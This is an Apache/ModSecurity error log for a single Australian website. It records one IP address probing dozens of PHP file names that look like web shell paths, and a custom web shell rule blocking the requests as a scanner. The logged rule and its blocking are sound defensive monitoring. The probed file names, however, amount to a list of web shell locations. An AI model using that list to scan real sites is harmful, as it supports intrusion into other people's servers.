[Sat Apr 18 07:35:18.308732 2026] [:error] [pid 13023:tid 13029] [client 4.235.108.154:11150] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLDtv1e7hG8DAeABB8uAwAAAQQ"]
[Sat Apr 18 07:35:20.015694 2026] [:error] [pid 9970:tid 9979] [client 4.235.108.154:57065] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLDuCYdRLRhVmaIMx34yAAAAMU"]
[Sat Apr 18 07:35:21.238008 2026] [:error] [pid 34237:tid 34250] [client 4.235.108.154:62633] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLDuRBmX4Wq5a6rxfbYvQAAAUs"]
[Sat Apr 18 07:35:22.325031 2026] [:error] [pid 13023:tid 13045] [client 4.235.108.154:62680] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLDuv1e7hG8DAeABB8uCQAAARQ"]
[Sat Apr 18 07:35:24.974916 2026] [:error] [pid 9864:tid 9927] [client 4.235.108.154:57077] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLDvICFeowknfXHM7lSYAAAAFU"]
[Sat Apr 18 07:35:26.273115 2026] [:error] [pid 34237:tid 34254] [client 4.235.108.154:61923] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLDvhBmX4Wq5a6rxfbY0gAAAU8"]
[Sat Apr 18 07:35:28.292041 2026] [:error] [pid 9863:tid 9888] [client 4.235.108.154:61941] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLDwDjjiypiFrTucbIjxAAAAA8"]
[Sat Apr 18 07:35:30.218955 2026] [:error] [pid 9970:tid 9988] [client 4.235.108.154:62611] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLDwiYdRLRhVmaIMx342gAAAM4"]
[Sat Apr 18 07:35:31.187080 2026] [:error] [pid 13023:tid 13028] [client 4.235.108.154:57764] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLDw_1e7hG8DAeABB8uGAAAAQM"]
[Sat Apr 18 07:35:32.086164 2026] [:error] [pid 13023:tid 13046] [client 4.235.108.154:11144] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLDxP1e7hG8DAeABB8uHQAAARU"]
[Sat Apr 18 07:35:32.816160 2026] [:error] [pid 34288:tid 34302] [client 4.235.108.154:61951] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLDxOTIiy__PtiLmpkwPAAAAYo"]
[Sat Apr 18 07:35:33.897703 2026] [:error] [pid 9970:tid 9979] [client 4.235.108.154:62624] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLDxSYdRLRhVmaIMx343AAAAMU"]
[Sat Apr 18 07:35:34.824501 2026] [:error] [pid 9864:tid 9907] [client 4.235.108.154:63880] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLDxoCFeowknfXHM7lSfAAAAEI"]
[Sat Apr 18 07:35:37.192121 2026] [:error] [pid 34290:tid 34323] [client 4.235.108.154:11126] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLDyRqX6WpmmAXOBi9jTgAAAcQ"]
[Sat Apr 18 07:35:38.739301 2026] [:error] [pid 9863:tid 9879] [client 4.235.108.154:11096] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLDyjjjiypiFrTucbIjzQAAAAY"]
[Sat Apr 18 07:35:40.954439 2026] [:error] [pid 9865:tid 9958] [client 4.235.108.154:60255] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLDzKzb5knECIY-C-jKkQAAAJU"]
[Sat Apr 18 07:35:42.113078 2026] [:error] [pid 9970:tid 9991] [client 4.235.108.154:62651] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLDziYdRLRhVmaIMx343wAAANE"]
[Sat Apr 18 07:35:45.203817 2026] [:error] [pid 13023:tid 13027] [client 4.235.108.154:57059] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLD0f1e7hG8DAeABB8uMAAAAQI"]
[Sat Apr 18 07:35:46.977924 2026] [:error] [pid 9864:tid 9906] [client 4.235.108.154:62622] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLD0oCFeowknfXHM7lSgQAAAEE"]
[Sat Apr 18 07:35:50.797751 2026] [:error] [pid 34290:tid 34339] [client 4.235.108.154:60244] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeLD1hqX6WpmmAXOBi9jVAAAAdQ"]
[Sat Apr 18 07:35:52.672891 2026] [:error] [pid 13023:tid 13038] [client 4.235.108.154:57736] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeLD2P1e7hG8DAeABB8uNgAAAQ0"]
[Sat Apr 18 07:35:54.680229 2026] [:error] [pid 34237:tid 34246] [client 4.235.108.154:57049] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeLD2hBmX4Wq5a6rxfbY9QAAAUc"]
[Sat Apr 18 07:35:56.592314 2026] [:error] [pid 9864:tid 9915] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sat Apr 18 07:35:56.856439 2026] [:error] [pid 9864:tid 9930] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sat Apr 18 07:35:57.120415 2026] [:error] [pid 9864:tid 9923] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Sat Apr 18 07:35:57.409701 2026] [:error] [pid 9864:tid 9907] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Sat Apr 18 07:35:57.677980 2026] [:error] [pid 9864:tid 9913] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Sat Apr 18 07:35:57.953602 2026] [:error] [pid 9864:tid 9909] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/maxro.php
[Sat Apr 18 07:35:58.235470 2026] [:error] [pid 9864:tid 9920] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 18 07:35:59.771236 2026] [:error] [pid 9864:tid 9920] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/1s7y8wt9dz.php
[Sat Apr 18 07:36:00.038078 2026] [:error] [pid 9864:tid 9922] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/bdktk.php
[Sat Apr 18 07:36:00.305676 2026] [:error] [pid 9864:tid 9910] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/v5.php
[Sat Apr 18 07:36:00.582079 2026] [:error] [pid 9864:tid 9914] [client 4.235.108.154:61281] File does not exist: /usr/local/apache/htdocs/suspended-page/ws85.php
[Sat Apr 18 07:36:00.858340 2026] [:error] [pid 9864:tid 9925] [client 4.235.108.154:61281] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLD4ICFeowknfXHM7lSlQAAAFM"]
[Sat Apr 18 07:36:02.520228 2026] [:error] [pid 9865:tid 9953] [client 4.235.108.154:15214] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLD4qzb5knECIY-C-jKpgAAAJA"]
[Sat Apr 18 07:36:04.171231 2026] [:error] [pid 9863:tid 9873] [client 4.235.108.154:61287] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLD5DjjiypiFrTucbIj2gAAAAA"]
[Sat Apr 18 07:36:05.061540 2026] [:error] [pid 34290:tid 34343] [client 4.235.108.154:56638] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeLD5RqX6WpmmAXOBi9jYQAAAdg"]
[Sat Apr 18 07:36:06.004106 2026] [:error] [pid 9863:tid 9874] [client 4.235.108.154:62635] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLD5jjjiypiFrTucbIj4gAAAAE"]
[Sat Apr 18 07:36:08.776155 2026] [:error] [pid 13023:tid 13044] [client 4.235.108.154:57078] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLD6P1e7hG8DAeABB8uZQAAARM"]
[Sat Apr 18 07:36:11.431840 2026] [:error] [pid 9970:tid 9984] [client 4.235.108.154:10918] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLD6yYdRLRhVmaIMx348AAAAMo"]
[Sat Apr 18 07:36:12.917457 2026] [:error] [pid 34288:tid 34316] [client 4.235.108.154:60576] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeLD7OTIiy__PtiLmpkwbQAAAZg"]
[Sat Apr 18 07:36:14.831483 2026] [:error] [pid 34290:tid 34329] [client 4.235.108.154:54565] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLD7hqX6WpmmAXOBi9jmwAAAco"]
[Sat Apr 18 07:36:16.365918 2026] [:error] [pid 34290:tid 34331] [client 4.235.108.154:33890] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLD8BqX6WpmmAXOBi9joAAAAcw"]
[Sat Apr 18 07:36:18.340094 2026] [:error] [pid 13023:tid 13042] [client 4.235.108.154:33903] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLD8v1e7hG8DAeABB8ueQAAARE"]
[Sat Apr 18 07:36:20.134704 2026] [:error] [pid 9970:tid 9978] [client 4.235.108.154:10936] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "aeLD9CYdRLRhVmaIMx348gAAAMQ"]
[Sat Apr 18 07:36:20.790884 2026] [:error] [pid 34290:tid 34343] [client 4.235.108.154:61686] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLD9BqX6WpmmAXOBi9jpgAAAdg"]
[Sat Apr 18 07:36:21.775764 2026] [:error] [pid 34288:tid 34304] [client 4.235.108.154:61886] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLD9eTIiy__PtiLmpkwcgAAAYw"]
[Sat Apr 18 07:36:23.528265 2026] [:error] [pid 9970:tid 9977] [client 4.235.108.154:54541] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLD9yYdRLRhVmaIMx348wAAAMM"]
[Sat Apr 18 07:36:25.499257 2026] [:error] [pid 9970:tid 9976] [client 4.235.108.154:58057] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aeLD-SYdRLRhVmaIMx34-QAAAMI"]
[Sat Apr 18 07:36:28.129495 2026] [:error] [pid 13023:tid 13047] [client 4.235.108.154:63615] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLD_P1e7hG8DAeABB8uhAAAARY"]
[Sat Apr 18 07:36:30.810539 2026] [:error] [pid 34237:tid 34248] [client 4.235.108.154:10929] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLD_hBmX4Wq5a6rxfbZDAAAAUk"]
[Sat Apr 18 07:36:33.177977 2026] [:error] [pid 34237:tid 34262] [client 4.235.108.154:63613] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLEARBmX4Wq5a6rxfbZEQAAAVc"]
[Sat Apr 18 07:36:36.270023 2026] [:error] [pid 13023:tid 13045] [client 4.235.108.154:60605] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "aeLEBP1e7hG8DAeABB8ukwAAARQ"]
[Sat Apr 18 07:36:36.833877 2026] [:error] [pid 34288:tid 34302] [client 4.235.108.154:33892] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLEBOTIiy__PtiLmpkwjQAAAYo"]
[Sat Apr 18 07:36:38.176180 2026] [:error] [pid 13023:tid 13043] [client 4.235.108.154:61692] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLEBv1e7hG8DAeABB8umAAAARI"]
[Sat Apr 18 07:36:39.703549 2026] [:error] [pid 34290:tid 34340] [client 4.235.108.154:54535] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLEBxqX6WpmmAXOBi9j0QAAAdU"]
[Sat Apr 18 07:36:40.571474 2026] [:error] [pid 34288:tid 34297] [client 4.235.108.154:33873] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "aeLECOTIiy__PtiLmpkwmgAAAYU"]
[Sat Apr 18 07:36:41.828835 2026] [:error] [pid 9864:tid 9914] [client 4.235.108.154:10899] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLECYCFeowknfXHM7lSngAAAEg"]
[Sat Apr 18 07:36:43.710288 2026] [:error] [pid 9970:tid 9979] [client 4.235.108.154:54578] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLECyYdRLRhVmaIMx35CwAAAMU"]
[Sat Apr 18 07:36:46.103434 2026] [:error] [pid 13023:tid 13031] [client 4.235.108.154:61880] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLEDv1e7hG8DAeABB8ungAAAQY"]
[Sat Apr 18 07:36:48.567285 2026] [:error] [pid 9864:tid 9927] [client 4.235.108.154:58093] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "aeLEEICFeowknfXHM7lSpAAAAFU"]
[Sat Apr 18 07:36:50.120081 2026] [:error] [pid 9970:tid 9975] [client 4.235.108.154:61865] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLEEiYdRLRhVmaIMx35DwAAAME"]
[Sat Apr 18 07:36:50.961332 2026] [:error] [pid 9863:tid 9877] [client 4.235.108.154:63600] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeLEEjjjiypiFrTucbIkFwAAAAQ"]
